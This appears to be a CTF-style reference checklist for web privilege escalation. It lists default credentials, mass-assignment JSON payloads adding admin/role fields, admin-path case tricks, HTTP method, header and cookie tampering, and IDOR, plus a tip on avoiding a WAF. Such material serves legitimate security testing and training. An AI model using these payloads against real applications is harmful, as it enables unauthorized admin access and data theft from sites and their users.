Web privilege escalation is different from system privilege escalation—no exploit is needed, only finding permission check vulnerabilities in the application logic.
⛔ In-Depth Reference (Required Reading)
- Mass Assignment field list, HTTP Header tampering, Cookie tampering → references/web-privesc-techniques.md
Phase 1: Authentication and Account Discovery
Default credentials (fastest path)
admin:admin, admin:password, admin:123456
root:root, root:toor, test:test, guest:guest
Registration function analysis
Register a new account, intercept the request with a proxy, and record the request format, sent fields, and response fields (which may expose hidden field names).
Check /docs, /swagger, /openapi.json。
Phase 2: Mass Assignment (core technique)
In the registration or update requestadd fields not expected by the application(only add one at a time):
{"username":"test", "password":"pass", "role":"admin"}
{"username":"test", "password":"pass", "is_admin":true}
{"username":"test", "password":"pass", "is_staff":1}
→ Complete field list and framework conventions → references/web-privesc-techniques.md
Phase 3: Direct access to admin endpoints
GET /admin → 403? → 试 /admin/ (trailing slash) 或 /Admin (大小写)
GET /api/admin/users → 200?
Phase 4: HTTP method/Header tampering + Cookie tampering
GET /admin/flag → 403 → 试 POST/PUT/PATCH
Header: X-Original-URL: /admin/flag / X-Forwarded-For: 127.0.0.1
Cookie: role=user → role=admin / admin=0 → admin=1
→ Complete payloads and Flask session forgery → references/web-privesc-techniques.md
Phase 5: Object-level authorization bypass
Modify the ID in the URL/parameters to access other users' resources
Notes
- For Mass Assignment, change only one field at a time—changing all of them may trigger the WAF
- After registration, check
GET /api/users/meto confirm whether the permissions have actually changed - Combining IDOR + Mass Assignment is more effective